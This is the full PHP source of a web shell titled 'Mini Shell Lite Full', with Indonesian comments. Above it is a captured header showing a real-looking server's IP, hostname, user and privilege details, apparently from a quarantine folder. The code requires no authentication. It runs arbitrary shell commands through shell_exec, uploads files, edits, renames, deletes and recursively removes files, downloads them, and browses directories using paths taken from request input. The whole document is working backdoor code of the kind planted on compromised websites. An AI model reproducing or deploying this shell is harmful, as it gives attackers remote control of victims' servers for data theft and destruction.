| Server IP : 89.117.53.150 / Your IP : 216.73.216.11 Web Server : Apache System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64 User : iscmbt-kufa-atu ( 1014) PHP Version : 8.2.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/iscmbt-kufa-atu/quarantine/ |
Upload File : |
<?php
// ==== Fungsi ikon ====
function getIcon($path) {
return is_dir($path) ? '📁' : '📄';
}
// ==== Info server ====
$serverIP = $_SERVER['SERVER_ADDR'] ?? gethostbyname(gethostname());
$serverName = gethostname();
$serverOS = PHP_OS_FAMILY;
$phpVersion = phpversion();
// Uptime (Linux/Windows)
$uptime = 'Unknown';
if (strtolower(PHP_OS_FAMILY) === 'windows') {
$up = shell_exec('net stats srv');
if ($up && preg_match('/Statistics since (.+)/', $up, $m)) $uptime = $m[1];
} else {
if (is_readable('/proc/uptime')) {
$up = file_get_contents('/proc/uptime');
$up = (int) $up;
$days = floor($up/86400);
$hours = floor(($up%86400)/3600);
$minutes = floor(($up%3600)/60);
$uptime = "{$days}d {$hours}h {$minutes}m";
}
}
// ==== Path aktif ====
$currentPath = isset($_GET['d']) ? $_GET['d'] : getcwd();
if (!is_dir($currentPath)) $currentPath = getcwd();
// ==== Aksi upload ====
if (isset($_POST['upload']) && isset($_FILES['uploaded_file'])) {
$targetFile = $currentPath . DIRECTORY_SEPARATOR . $_FILES['uploaded_file']['name'];
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetFile)) {
echo "<script>alert('✅ File berhasil diunggah!');</script>";
} else {
echo "<script>alert('❌ Gagal mengunggah file!');</script>";
}
}
// ==== Aksi umum ====
$action = $_POST['action'] ?? $_GET['action'] ?? '';
$file = $_POST['file'] ?? $_GET['file'] ?? '';
$name = $_POST['name'] ?? $_GET['name'] ?? '';
$cmd = $_POST['cmd'] ?? '';
function rrmdir($dir){
foreach(glob($dir.'/*') as $f) is_dir($f) ? rrmdir($f) : unlink($f);
rmdir($dir);
}
// ==== Edit ====
if ($action==='edit' && isset($_POST['content']) && $file) file_put_contents("$currentPath/$file", $_POST['content']);
// ==== Rename ====
if ($action==='rename' && $file && $name) rename("$currentPath/$file","$currentPath/$name");
// ==== Create file/folder ====
if ($action==='create_file' && $name) file_put_contents("$currentPath/$name", '');
if ($action==='create_folder' && $name) mkdir("$currentPath/$name");
// ==== Delete ====
if ($action==='delete' && $file){
$target="$currentPath/$file";
if(is_dir($target)) rrmdir($target); else unlink($target);
}
// ==== Terminal ====
if ($action==='terminal' && $cmd) $output=shell_exec($cmd.' 2>&1');
// ==== Download ====
if ($action==='download' && $file && file_exists("$currentPath/$file")) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Content-Length: ' . filesize("$currentPath/$file"));
readfile("$currentPath/$file");
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Mini Shell Lite Full</title>
<style>
body{font-family:monospace;background:#111;color:#eee;}
a{color:#6cf;text-decoration:none;}
input,textarea{width:100%;background:#222;color:#eee;border:1px solid #444;}
table{border-collapse:collapse;width:100%;}
th,td{border:1px solid #444;padding:4px;}
img.preview{max-width:80%;border:2px solid #333;margin:10px;}
pre.preview{background:#222;padding:10px;border:1px solid #444;white-space:pre-wrap;word-wrap:break-word;}
.info{background:#222;padding:8px;margin-bottom:10px;border:1px solid #444;}
</style>
</head>
<body>
<div class="info">
🖥️ <b>Server Name:</b> <?php echo htmlspecialchars($serverName); ?><br>
🌐 <b>Server IP:</b> <?php echo htmlspecialchars($serverIP); ?><br>
💻 <b>OS:</b> <?php echo htmlspecialchars($serverOS); ?><br>
⚡ <b>PHP Version:</b> <?php echo htmlspecialchars($phpVersion); ?><br>
⏱️ <b>Uptime:</b> <?php echo htmlspecialchars($uptime); ?><br>
📂 <b>Current Directory:</b> <?php echo htmlspecialchars($currentPath); ?>
</div>
<!-- Terminal -->
<form method="post">
<input type="hidden" name="action" value="terminal">
<input type="text" name="cmd" placeholder="command">
<input type="submit" value="Run">
</form>
<pre><?php if(isset($output)) echo htmlspecialchars($output); ?></pre>
<!-- Upload -->
<form method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" required>
<input type="submit" name="upload" value="Upload">
<input type="hidden" name="d" value="<?php echo htmlspecialchars($currentPath); ?>">
</form>
<!-- Create file/folder -->
<form method="post">
<input type="hidden" name="action" value="create_file">
<input type="hidden" name="d" value="<?php echo htmlspecialchars($currentPath); ?>">
<input type="text" name="name" placeholder="New file name">
<input type="submit" value="Create File">
</form>
<form method="post">
<input type="hidden" name="action" value="create_folder">
<input type="hidden" name="d" value="<?php echo htmlspecialchars($currentPath); ?>">
<input type="text" name="name" placeholder="New folder name">
<input type="submit" value="Create Folder">
</form>
<!-- File list -->
<table>
<tr><th>Name</th><th>Type</th><th>Action</th></tr>
<?php
$files = scandir($currentPath);
$parent = dirname($currentPath);
if ($parent && $parent != $currentPath)
echo '<tr><td>📁 <a href="?d='.urlencode($parent).'">[..]</a></td><td>Dir</td><td></td></tr>';
foreach ($files as $f){
if ($f=='.'||$f=='..') continue;
$full="$currentPath/$f";
echo '<tr>';
echo '<td>'.getIcon($full).' ';
if(is_dir($full)) echo '<a href="?d='.urlencode($full).'">'.htmlspecialchars($f).'</a>';
else echo htmlspecialchars($f);
echo '</td>';
echo '<td>'.(is_dir($full)?'Dir':'File').'</td>';
echo '<td>';
if(is_file($full)){
echo '<a href="?d='.urlencode($currentPath).'&action=preview&file='.urlencode($f).'">Preview</a> | ';
echo '<a href="?d='.urlencode($currentPath).'&action=edit&file='.urlencode($f).'">Edit</a> | ';
echo '<a href="?d='.urlencode($currentPath).'&action=download&file='.urlencode($f).'">Download</a> | ';
}
echo '<a href="?d='.urlencode($currentPath).'&action=rename&file='.urlencode($f).'">Rename</a> | ';
echo '<a href="?d='.urlencode($currentPath).'&action=delete&file='.urlencode($f).'" onclick="return confirm(\'Delete?\')">Delete</a>';
echo '</td></tr>';
}
?>
</table>
<!-- Preview file -->
<?php
if($action==='preview' && $file && file_exists("$currentPath/$file")){
$filePath="$currentPath/$file";
$mime=mime_content_type($filePath);
echo "<h3>👀 Preview: ".htmlspecialchars($file)."</h3>";
if(preg_match('/image\//',$mime)){
$base64=base64_encode(file_get_contents($filePath));
echo '<img class="preview" src="data:'.$mime.';base64,'.$base64.'">';
} elseif(preg_match('/text|json|xml|javascript|php/',$mime)){
echo '<pre class="preview">'.htmlspecialchars(file_get_contents($filePath)).'</pre>';
} else {
echo '<pre class="preview">📦 '.htmlspecialchars($file).' ('.htmlspecialchars($mime).') - '.filesize($filePath).' bytes</pre>';
}
}
?>
<!-- Edit file -->
<?php
if($action==='edit' && $file && file_exists("$currentPath/$file")):
$content=file_get_contents("$currentPath/$file");
?>
<h3>✏️ Edit File: <?php echo htmlspecialchars($file); ?></h3>
<form method="post">
<input type="hidden" name="action" value="edit">
<input type="hidden" name="d" value="<?php echo htmlspecialchars($currentPath); ?>">
<input type="hidden" name="file" value="<?php echo htmlspecialchars($file); ?>">
<textarea name="content" rows="20"><?php echo htmlspecialchars($content); ?></textarea>
<input type="submit" value="Save">
</form>
<?php endif; ?>
</body>
</html>